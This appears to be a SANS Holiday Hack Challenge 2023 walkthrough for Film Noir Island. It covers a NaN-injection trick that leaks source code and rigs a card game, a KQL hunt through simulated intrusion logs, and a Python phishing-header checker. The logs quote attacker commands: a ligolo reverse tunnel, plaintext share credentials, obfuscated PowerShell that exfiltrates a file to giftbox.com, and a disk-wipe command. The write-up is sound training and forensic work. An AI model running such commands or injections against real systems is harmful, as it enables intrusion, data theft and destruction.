Skip to content

Film Noir Island⚓︎

Steer our ship towards the mysterious allure of Film Noir Island by deftly using the arrow keys on the keyboard or the WASD keys. This enigmatic island beckons from the middle-right corner of the map, promising a journey filled with intrigue and shadows. Navigate wisely and enjoy the cinematic adventure!

map

There are two different ports available:

Port of Chiaroscuro City⚓︎

While exploring FIlm Noir Island, we discover the Port of Chiaroscuro City. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured the Goose of Film Noir Island to greet us!

dock

When we make land, we obtain new objectives on arrival.

Na'an (Film Noir Island)

Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!

KQL Kraken Hunt (Film Noir Island)

Use Azure Data Explorer to uncover misdeeds in Santa's IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.

Full Island (Zoomed Out)

zoom30

Wombley Cube Audiobook⚓︎

Walking past the dock straight ahead, we find Wombley Cube that shares his audio book with us! This might be useful to us later ...

Wombley Cube

Hey, did you have a chance to listen to my audiobook yet?

audiobook

Na'an⚓︎

Na'an (Film Noir Island)

Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!

Upon advancing to the middle of the island through an alleyway, we encounter Shifty McShuffles near a challenge.

shifty

When speaking with Shifty McShuffles, we obtain the following hints:

Stump the Chump

Try to outsmart Shifty by sending him an error he may not understand.

The Upper Hand

Shifty said his deck of cards is made with Python. Surely there's a weakness to give you the upper hand in his game.

When we startup the challenge, it spins up a card game:

challenge_startup

When attempting to play, we typically always lose! It seems Shifty is up to some tricks, causing obstacles in our path to victory.

play1

By proxying web traffic through Burp Suite, we've observed that our cards are being sent via a POST request to https://nannannannannannan.com/action= with a JSON payload of {"play":"8,7,3,4,5"}.

Furthermore, we've identified that the backend Web-Framework is Werkzeug/3.0.1 Python/3.8.10 based on the information provided in the Server header.

NaN Injection - Source-Code Leak, Error in CSV Reader⚓︎

It appears that by setting the value to NaN, we trigger an error in the function, and as a result, obtain a very verbose source code along with the error details. This can be a valuable insight for further analysis and understanding of the system's workings.

burpproxy

To render this script into a more readable form, you can employ the Unescape String recipe in the Cyberchef tool.

/root/webserver/webserver.py
def play_cards(csv_card_choices, request_id):
  try:
    f = StringIO(csv_card_choices)
    reader = csv.reader(f, delimiter=',')
    player_cards = []
    for row in reader:
      for n in row:
        n = float(n)
        if is_valid_whole_number_choice(n) and n not in [x['num'] for x in player_cards]:
          player_cards.append({
            'owner':'p',
            'num':n
          })
      break
    if len(player_cards) != 5:
      return jsonify({"request":False,"data": f"Requires 5 unique values but was given \"{csv_card_choices}\"" })
    player_cards = sorted(player_cards, key=lambda d: d['num'])
    shiftys_cards = shifty_mcshuffles_choices( player_cards )
    all_cards = []
    for p in player_cards:
      if p['num'] not in [x['num'] for x in shiftys_cards]:
        all_cards.append(p)
    for s in shiftys_cards:
      if s['num'] not in [x['num'] for x in player_cards]:
        all_cards.append(s)
    maxItem = False
    minItem = False
    if bool(len(all_cards)):
      maxItem = max(all_cards, key=lambda x:x['num'])
      minItem = min(all_cards, key=lambda x:x['num'])
    p_starting_value = int(session.get('player',0))
    s_starting_value = int(session.get('shifty',0))
    if bool(maxItem):
      if maxItem['owner'] == 'p':
        session['player'] = str( p_starting_value + 1 )
      else:
        session['shifty'] = str( s_starting_value + 1 )
    if bool(minItem):
      if minItem['owner'] == 'p':
        session['player'] = str( int(session.get('player',0)) + 1 )
      else:
        session['shifty'] = str( int(session.get('shifty',0)) + 1 )
    score_message, win_lose_tie_na = win_lose_tie_na_calc( int(session.get('player',0)), int(session.get('shifty',0)) )
    play_message = 'Ha, we tied!'
    if int(session['player']) - p_starting_value > int(session['shifty']) - s_starting_value:
      play_message = 'Darn, how did I lose that hand!'
    elif int(session['player']) - p_starting_value < int(session['shifty']) - s_starting_value:
      play_message = 'I win and you lose that hand!'
    if win_lose_tie_na in ['w','l','t']:
      session['player'] = '0'
      session['shifty'] = '0'
    msg = { "request":True, "data": {
      'player_cards':player_cards,
      'shiftys_cards':shiftys_cards,
      'maxItem':maxItem,
      'minItem':minItem,
      'player_score':int(session['player']),
      'shifty_score':int(session['shifty']),
      'score_message': score_message,
      'win_lose_tie_na': win_lose_tie_na,
      'play_message':play_message,
    } }
    if win_lose_tie_na == "w":
      msg["data"]['conduit'] = { 'hash': hmac.new(submissionKey.encode('utf8'), request_id.encode('utf8'), sha256).hexdigest(), 'resourceId': request_id }
    return jsonify( msg )
  except Exception as e:
    err = f"{type(e).__name__} at line {e.__traceback__.tb_lineno} of {__file__}: {e}"
    raise ValueError(err)
Error
Error in function named play_cards:
ValueError at line 172 of /root/webserver/webserver.py: TypeError at line 92 of /root/webserver/webserver.py: initial_value must be str or None, not float

NaN Injection - Min/Max⚓︎

Submitting NaN as the first or second number creates an issue with the sorting function, leading to a situation where our minimum or maximum value will consistently be NaN. This problem with the sorting function can impact the expected outcomes of calculations or comparisons involving these values.

request
POST /action?id=61d459b0-8183-49f0-9e01-55431cf3dcb8 HTTP/2
Host: nannannannannannan.com
Cookie: GCLB="02ce8e29bdf3d2c5"; session=eyJwbGF5ZXIiOiIwIiwic2hpZnR5IjoiMiJ9.ZY9UcQ.gNLKGGQlWfhkp5Y_6dknQYdkrDU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 22

{"play":"NaN,1,3,0,9"}

1st and 2nd Number:

firstnum

secondnum

Last Three Numbers:

thirdnum

fourthnum

fifthnum

After achieving a score of 10, victory is ours! The key to success lies in repeatedly submitting NaN as the first value, exploiting the sorting function's flaw and ensuring the desired outcome.

Achievement

Congratulations! You have completed the Na'an challenge!

KQL Kraken Hunt⚓︎

KQL Kraken Hunt (Film Noir Island)

Use Azure Data Explorer to uncover misdeeds in Santa's IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.

Heading to the top left of the island, we come across the Gumshoe Alley PI Office, which we can enter!

topleft

I found Tangle Coalbox inside and close to a challenge.

gumshoe

Engaging in a conversation with Tangle Coalbox yields the following hints:

File Creation

Looking for a file that was created on a victim system? Don't forget the FileCreationEvents table.

KQL Tutorial

Once you get into the Kusto trainer, click the blue Train me for the case button to get familiar with KQL.

Outbound Connections

Do you need to find something that happened via a process? Pay attention to the ProcessEvents table!

When we startup the challenge, it goes to a KUSTO Detective Agency website.

elfhunt

Onboarding Case⚓︎

Clicking on the on-boarding email, it pops up and explains the challenge. We have to start a free personal cluster per the FAQ section in Azure Data Explorer. I signed into Microsoft and got my cluster and data ingestion URLs. Once I obtain a Cluster URI , we login to the main site! We are a Cadet and have 0/6 cases solved.

Upon clicking the on-boarding email, a popup provides an explanation of the challenge. Following the instructions in the FAQ section on Azure Data Explorer, I initiated a free personal cluster. After signing into Microsoft, I acquired my cluster and data ingestion URLs. Once in possession of the Cluster URI, I logged into the main site. Currently, I hold the rank of Cadet with 0 out of 6 cases solved.

onboarding

The Onboarding case provides the following KQL query to initialize the database within the cluster environment:

query
.execute database script <|
.create table AuthenticationEvents (timestamp:datetime, hostname:string, src_ip:string, user_agent:string, username:string, result:string, password_hash:string, description:string)
.create table Email (timestamp:datetime, sender:string, reply_to:string, recipient:string, subject:string, verdict:string, link:string)
.create table Employees (hire_date:datetime, name:string, user_agent:string, ip_addr:string, email_addr:string, company_domain:string, username:string, role:string, hostname:string)
.create table FileCreationEvents (timestamp:datetime, hostname:string, username:string, sha256:string, path:string, filename:string, process_name:string)
.create table InboundNetworkEvents (timestamp:datetime, ['method']:string, src_ip:string, user_agent:string, url:string)
.create table OutboundNetworkEvents (timestamp:datetime, ['method']:string, src_ip:string, user_agent:string, url:string)
.create table PassiveDns (timestamp:datetime, ip:string, domain:string)
.create table ProcessEvents (timestamp:datetime, parent_process_name:string, parent_process_hash:string, process_commandline:string, process_name:string, process_hash:string, hostname:string, username:string)
.create table SecurityAlerts (timestamp:datetime, alert_type:string, severity:string, description:string, indicators:dynamic)
// Ingest data into tables
.ingest into table AuthenticationEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/AuthenticationEvents.csv') with (ignoreFirstRecord = true)
.ingest into table Email ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/Email.csv') with (ignoreFirstRecord = true)
.ingest into table Employees ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/Employees.csv') with (ignoreFirstRecord = true)
.ingest into table FileCreationEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/FileCreationEvents.csv') with (ignoreFirstRecord = true)
.ingest into table InboundNetworkEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/InboundNetworkEvents.csv') with (ignoreFirstRecord = true)
.ingest into table OutboundNetworkEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/OutboundNetworkEvents.csv') with (ignoreFirstRecord = true)
.ingest into table PassiveDns ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/PassiveDns.csv') with (ignoreFirstRecord = true)
.ingest into table ProcessEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/ProcessEvents.csv') with (ignoreFirstRecord = true)
.ingest into table SecurityAlerts ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/SecurityAlerts.csv') with (ignoreFirstRecord = true)

To execute the provided KQL script, click the Run button located in the top-right corner. This action redirects you to Azure Data Explorer, where you can click the Run button again to initialize the "MyDatabase" database.

azuredatabase

In handling the Onboarding Case, I initiated the investigation by inspecting the Employees table. Notably, laptops were consistently marked with 'LAPTOP' in the hostname column, and the role consistently specified as 'Craftsperson Elf'. To enhance accuracy, a distinct query was executed to identify and remove duplicate entries. The subsequent count yielded a comprehensive overview of the relevant data.

query
Employees
| where role == 'Craftsperson Elf'
| where hostname has "LAPTOP"
| distinct name
| count
result
"count": 25

How many Craftperson Elf's are working from laptops?

Answer: 25

Case 1⚓︎

case1

In addressing Case 1, I examined the "Email" data, focusing on records with URLs like "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx." Using the | where clause, I isolated entries in the "link" column containing this URL substring, aiming to extract pertinent information from the "Email" dataset.

query
Email
| where link has "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"

```text title="result" hl_lines="2,3,5" "timestamp": 2023-12-02T09:37:40Z, "sender": cwombley@gmail.com, "reply_to": cwombley@gmail.com, "recipient": alabaster_snowball@santaworkshopgeeseislands.org, "subject": [EXTERNAL] Invoice foir reindeer food past due, "verdict": CLEAN, "link": http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx

!!! success "What is the email address of the employee who received this phishing email?"
    Answer: `alabaster_snowball@santaworkshopgeeseislands.org`

!!! success "What is the email address that was used to send this spear phishing email?"
    Answer: `cwombley@gmail.com`

!!! success "What was the subject line used in the spear phishing email?"
    Answer:`[EXTERNAL] Invoice foir reindeer food past due`

#### Case 2

![case2](assets/img/film_noir_island_194.png)

In addressing Case 2, I filtered the "Employees" data to include only rows where the `email_addr` column matches the specified email address of `alabaster_snowball@santaworkshopgeeseislands.org`. This was done using the `| where` clause for filtering. The outcome is a subset of data exclusively related to the provided email address within the "Employees" dataset.

```javascript title="query"
Employees
| where email_addr == "alabaster_snowball@santaworkshopgeeseislands.org"

"hire_date": 2021-06-09T06:59:43Z,
"name": Alabaster Snowball,
"user_agent": Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko,
"ip_addr": 10.10.0.4,
"email_addr": alabaster_snowball@santaworkshopgeeseislands.org,
"company_domain": santaworkshopgeeseislands.org,
"username": alsnowball,
"role": Head Elf,
"hostname": Y1US-DESKTOP

What is the role of our victim in the organization?

Answer: Head Elf

What is the hostname of the victim's machine?

Answer: Y1US-DESKTOP

What is the source IP linked to the victim?

Answer: 10.10.0.4

Case 3⚓︎

case3

In addressing Case 3 question 1, I queried data from OutboundNetworkEvents to isolate entries where the url column contains the substring madelvesnorthpole.org. The | where clause serves to filter and identify records associated with this specific domain within the OutboundNetworkEvents dataset.

query
OutboundNetworkEvents
| where url has "madelvesnorthpole.org"
result
"timestamp": 2023-12-02T10:12:42Z,
"method": GET,
"src_ip": 10.10.0.4,
"user_agent": Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko,
"url": http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx

What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs!

Answer: 2023-12-02T10:12:42Z

In addressing Case 3 question 2, I retrieved data from FileCreationEvents where the timestamp is on or after December 2, 2023, at 10:12:42 AM (UTC). The query is limited to the first 5 results using the | take 5 clause, providing a snapshot of recent file creation events within the specified timeframe from the FileCreationEvents dataset.

query
FileCreationEvents
| where timestamp >= datetime("2023-12-02T10:12:42Z")
| take 5
result
"timestamp": 2023-12-02T10:12:48Z,
"hostname": 7CUR-LAPTOP,
"username": evwinterwhisper,
"sha256": 1224bdfcfeae79e619525f864f6ba4c3e44d7d8e4606341f8832c246a38c9ddd,
"path": C:\Users\evwinterwhisper\Pictures\garden.jpeg,
"filename": garden.jpeg,
"process_name": explorer.exe

"timestamp": 2023-12-02T10:13:35Z,
"hostname": Y1US-DESKTOP,
"username": alsnowball,
"sha256": 9cec01b76ec24175cde5482b4c0b09fa4278b8e06a267186888853207adc3ced,
"path": C:\Users\alsnowball\Downloads\MonthlyInvoiceForReindeerFood.docx,
"filename": MonthlyInvoiceForReindeerFood.docx,
"process_name": Edge.exe

"timestamp": 2023-12-02T10:14:21Z,
"hostname": Y1US-DESKTOP,
"username": alsnowball,
"sha256": 4c199019661ef7ef79023e2c960617ec9a2f275ad578b1b1a027adb201c165f3,
"path": C:\ProgramData\Windows\Jolly\giftwrap.exe,
"filename": giftwrap.exe,
"process_name": explorer.exe

"timestamp": 2023-12-02T10:17:45Z,
"hostname": AD6Z-MACHINE,
"username": copeppermintwhirl,
"sha256": bcfa463cf0785a9435c719857973997ec49f212b909cbec62e347d752d706afc,
"path": C:\Windows\System32\replace.exe,
"filename": replace.exe,
"process_name": svchost.exe

"timestamp": 2023-12-02T10:18:50Z,
"hostname": WAWE-MACHINE,
"username": snnutmeggins,
"sha256": 5aa77d78966fab257d5852a9c10c66e9845d5fe4dc715374469a78dae24760d3,
"path": C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\HoloTileAssets\StartTile.hcp,
"filename": StartTile.hcp,
"process_name": wuauclt.exe

What file is dropped to Alabaster's machine shortly after he downloads the malicious file?

Answer: giftwrap.exe

Case 4⚓︎

case4

In addressing Case 4, I extracted data from "ProcessEvents" where the "timestamp" is on or after December 2, 2023, at 10:12:42 AM (UTC). Additionally, I filtered the results to include entries where the "username" contains the substring "alsnowball" and the "parent_process_name" is specifically "cmd.exe." This query focuses on process events associated with the specified timestamp, username, and parent process name within the "ProcessEvents" dataset.

query
ProcessEvents
| where timestamp >= datetime("2023-12-02T10:12:42Z")
| where username has "alsnowball"
| where parent_process_name == "cmd.exe"
result
"timestamp": 2023-12-02T11:11:29Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": "ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof,
"process_name": ligolo,
"process_hash": e9b34c42e29a349620a1490574b87865cc1571f65aa376b928701a034e6b3533,
"hostname": Y1US-DESKTOP,
"username": alsnowball

"timestamp": 2023-12-02T16:51:44Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": net share,
"process_name": net.exe,
"process_hash": 8b5b1556ba468035a37b40d8ea42a4bff252f4502b97c52fcacb3ba269527a57,
"hostname": Y1US-DESKTOP,
"username": alsnowball

..[snip]..

"timestamp": 2023-12-24T15:14:25Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123,
"process_name": cmd.exe,
"process_hash": bfc3e1967ffe2b1e6752165a94f7f84a216300711034b2c64b1e440a54e91793,
"hostname": Y1US-DESKTOP,
"username": alsnowball

The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?

Answer: 113.37.9.17

What is the timestamp when the attackers enumerated network shares on the machine?

Answer: 2023-12-02T16:51:44Z

What was the hostname of the system the attacker moved laterally to?

Answer: NorthPolefileshare

Case 5⚓︎

case5

In addressing Case 5, I extracted data from ProcessEvents with a timestamp on or after December 24, 2023, at 3:14:25 PM (UTC). The filtering also focused on entries where the process_commandline contains -enc. Using extensions, I decoded a portion of the command line that followed the -enc flag, assuming it is Base64-encoded. The results were then projected to include the original timestamp, the process command line, and the decoded version for further analysis.

query
ProcessEvents
| where timestamp >= datetime("2023-12-24T15:14:25Z")
| where process_commandline has "-enc"
| extend encoded_part = extract(@"-enc\s+([a-zA-Z0-9+_]*)", 1, process_commandline)
| extend decoded_commandline = base64_decode_tostring(encoded_part)
| project timestamp, process_commandline, decoded_commandline
result
"timestamp": 2023-12-24T16:07:47Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn,
"decoded_commandline": ( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''

"timestamp": 2023-12-24T16:58:43Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4=,
"decoded_commandline": [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN

"timestamp": 2023-12-25T10:44:27Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ=,
"decoded_commandline": C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

The first and second commands executed by the attacker were obfuscated still, so we needed to run them in PowerShell:

firstcmd
( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join '' | rev
result
powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
secondcmd
[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))
result
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file

The third command executed by the attacker was automatically decoded by the initial KQL (Kusto Query Language) query.

result
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

When was the attacker's first base64 encoded PowerShell command executed on Alabaster's machine?

Answer: 2023-12-24T16:07:47Z

What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)

Answer: NaughtyNiceList.txt

The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?

Answer: giftbox.com

Case 6⚓︎

case6

In addressing Case 6, I used the same result of Case 5.

result
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

What is the name of the executable the attackers used in the final malicious command?

Answer: downwithsanta.exe

What was the command line flag used alongside this executable?

Answer: --wipeall

success

Congratulations!

Congratulations, you've cracked the Kusto detective agency section of the Holiday Hack Challenge!

query
print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==')
result
Beware the Cube that Wombles

After submitting the secret phrase into the Objectives tab, I got an achievement:

Achievement

Congratulations! You have completed the KQL Kraken Hunt challenge!"

Port of the Blacklight District⚓︎

While exploring FIlm Noir Island, we discover the Port of the Blacklight District. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured the Goose of Film Noir Island to greet us!

dock

When we make land, we obtain a new objective on arrival.

Phish Detection Agency (Film Noir Island)

Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!

Full Island (Zoomed Out)

zoom30

Phish Detection Agency⚓︎

Phish Detection Agency (Film Noir Island)

Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!

If we go to the right of the Goose of Film Noir Island, we find Fitzy Shortstack close to a challenge.

mapphishing

Engaging in a conversation with Fitzy Shortstack yields the following hints:

DMARC, DKIM, and SPF, oh my!

Discover the essentials of email security with DMARC, DKIM, and SPF at Cloudflare's Guide.

Upon initiating the challenge, the Phishing Detection Agency extends a welcome, providing an explanation of the challenge. Exploring the tabs allows us to view the currently detected phishing emails, the entire inbox content, and the DNS setup.

challenge_startup

Here is a table presenting all the emails at the beginning of the challenge: | Sender | Subject | Status | |----------------------------------|------------------------------------------------|----------| | alice.smith@geeseislands.com | Summer Beach Cleanup Coordination | Phishing | | david.jones@geeseislands.com | Tech Team's Holiday Hackathon | Safe | | emily.white@geeseislands.com | Island Wildlife Conservation Efforts | Safe | | frank.harrison@geeseislands.com | Annual Budget Review and Forecasting | Phishing | | grace.lee@geeseislands.com | Marketing for the Holiday Season | Safe | | harry.potter@geeseislands.com | Q4 Operational Excellence | Safe | | isabella.martin@geeseislands.com | Environmental Policies Legal Review | Safe | | jason.brown@geeseislands.com | Boosting End of Year Sales | Safe | | john.doe@geeseislands.com | Pacific Festive Celebrations Overview | Phishing | | karen.evans@geeseislands.com | IT Infrastructure Upgrade Discussion | Safe | | laura.green@geeseislands.com | Security Protocol Briefing | Phishing | | laura.moore@geeseislands.com | Coral Reef Study Findings | Phishing | | michael.roberts@geeseislands.com | Compliance Training Schedule Announcement | Safe | | michael.taylor@geeseislands.com | Project Management Best Practices | Safe | | nancy.wilson@geeseislands.com | Client Engagement Enhancements | Safe | | nancy@geeseislands.com | Public Relations Strategy Meet | Phishing | | oliver.hill@geeseislands.com | Supply Chain Optimization Initiatives | Safe | | oliver.thomas@geeseislands.com | New Research Project Kickoff | Safe | | patricia.johnson@geeseislands.com | Communication Skills Workshop | Safe | | quentin.adams@geeseislands.com | Quality Assurance Protocols Meeting | Phishing | | quincy.adams@geeseislands.com | Networking Event Success Strategies | Phishing | | rachel.baker@geeseislands.com | Production Milestones Meeting | Safe | | rachel.brown@geeseislands.com | Customer Feedback Analysis Meeting | Safe | | steven.clark@geeseislands.com | Employee Wellbeing Workshop | Safe | | steven.gray@geeseislands.com | Procurement Process Improvements | Phishing | | teresa.green@geeseislands.com | Financial Planning for 2024 | Phishing | | uma.foster@geeseislands.com | Operational Efficiency Review | Phishing | | ursula.morris@geeseislands.com | Legal Team Expansion Strategy | Safe | | victor.davis@geeseislands.com | Invitation to Research Grant Meeting | Phishing | | victor.harris@geeseislands.com | IT Security Update | Safe | | wendy.mitchell@geeseislands.com | Holiday Marketing Brainstorm | Safe | | xavier.edwards@geeseislands.com | Year-End Sales Target Strategies | Phishing | | xavier.jones@geeseislands.com | Urgent IT Security Update | Safe | | yvonne.jackson@geeseislands.com | Enhancing Client Relationships Workshop | Safe |

DNS⚓︎

dns

Analysis - Dynamic Emails⚓︎

The emails were being loaded dynamically from a JavaScript file called seed.js

..[snip]..
  loadEmails.push({
    from: "jason.brown@geeseislands.com",
    to: "admin.sales@geeseislands.com",
    headers: "Return-Path: <jason.brown@geeseislands.com>\nReceived: from mail.geeseislands.com\nDKIM-Signature: v=1; a=rsa-sha256; d=geeseislands.com; s=default; b=HJgZP0lGJb8xK3t18YsOUpZ+YvgcCj2h3ZdCQF/TN0XQlWgZt4Ll3cEjy1O4Ed9BwFkN8XfOaKJbnN+lCzA8DyQ9PDPkT9PeZw2+JhQK1RmZdJlfg8aIlXvB2Jy2b2RQlKcY0a5+j/48edL9XkF2R8jTtKgZd9JbOOyD4EHD6uLX5;\nDMARC: Pass",
    subject: "Boosting End of Year Sales",
    content: "<p>Let's discuss <strong>strategies to boost our year-end sales</strong>. Bonus: A special segment on how ChatNPT can enhance our sales tactics!</p>",
    date: "2023-10-21 10:05:00",
    status: 0
  });
..[snip]..

I converted all the emails to a JSON format so I can easily parse it using jq:

jq '.emails|length' emails.json
34

There is a total of 34 emails that we have to categorize them as a phishing attempt email or not.

Analysis - SPF, DKIM, and DMARC⚓︎

We were able to use Python, to automate the analysis of the DKIM and DMARC headers and validate the return path was identical the the sender address.

phishing_parse.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to parse all the emails and check DNS DKIM, DMARK, and SPF results.
Holiday Hack 2023 - SUSPICIOUS
"""

# Imports
import json
import re
import requests
from email import policy
from email.parser import BytesParser


def check_dkim(header):
    # Extract DKIM-Signature from headers
    dkim_match = re.search(r"DKIM-Signature: (.+)", header)
    if dkim_match:
        return dkim_match.group(1).strip()
    return "DKIM not found"


def check_dmarc(header):
    # Extract DMARC from headers
    dmarc_match = re.search(r"DMARC: (.+)", header)
    if dmarc_match:
        return dmarc_match.group(1).strip()
    return "DMARC not found"


def check_return_path(header):
    # Extract Return-Path from headers
    return_path_match = re.search(r"Return-Path: <(.+)>", header)
    if return_path_match:
        return return_path_match.group(1).strip()
    return "Return-Path not found"


def process_emails(data):
    print(f'Analyzing {len(data["emails"])} emails ...')

    for i, email in enumerate(data["emails"]):
        data["emails"][i]["index"] = i + 1
        print(f'\n{i+1}. {email["subject"]}')
        print(f"FROM: {email['from']}")
        print(f"TO: {email['to']}")
        print(f"DATE: {email['date']}")

        # Parse the email content
        msg = BytesParser(policy=policy.default).parsebytes(email["headers"].encode("utf-8"))

        # Get the headers
        headers = msg.as_string()

        # Check DKIM
        dkim = check_dkim(headers)
        print(f"DKIM: {dkim}")

        # Check DMARC
        dmarc = check_dmarc(headers)
        print(f"DMARC: {dmarc}")

        # Check Return-Path
        return_path = check_return_path(headers)
        print(f"Return-Path: {return_path}")

        # Extract relevant information
        dmarc_pass = "Pass" in dmarc
        dkim_valid = "v=1; a=rsa-sha256; d=geeseislands.com; s=default;" in dkim
        return_path_match = email["from"] in return_path

        # Analysis
        if dmarc_pass and dkim_valid and return_path_match:
            print("Status: \033[92mSAFE\033[0m")
            data["emails"][i]["status"] = 0
        else:
            print("Status: \033[91mSUSPICIOUS\033[0m")
            data["emails"][i]["status"] = 1

    return data


# Open the file and load the JSON data
with open("./emails.json", "r") as file:
    email_data = json.load(file)
email_parsed = process_emails(email_data)

# Check status
bad_emails = [f'{email["from"]}' for email in email_parsed["emails"] if email["status"] == 1]
bad_emails.sort()
bad_emails_subjects = [f'{email["index"]}-{email["from"]}-{email["subject"]}' for email in email_parsed["emails"] if email["status"] == 1]
print("\nPhishing:")
print("\n".join(bad_emails_subjects))

# Send status
session = requests.session()
burp0_url = "https://hhc23-phishdetect-dot-holidayhack2023.ue.r.appspot.com:443/check-status"
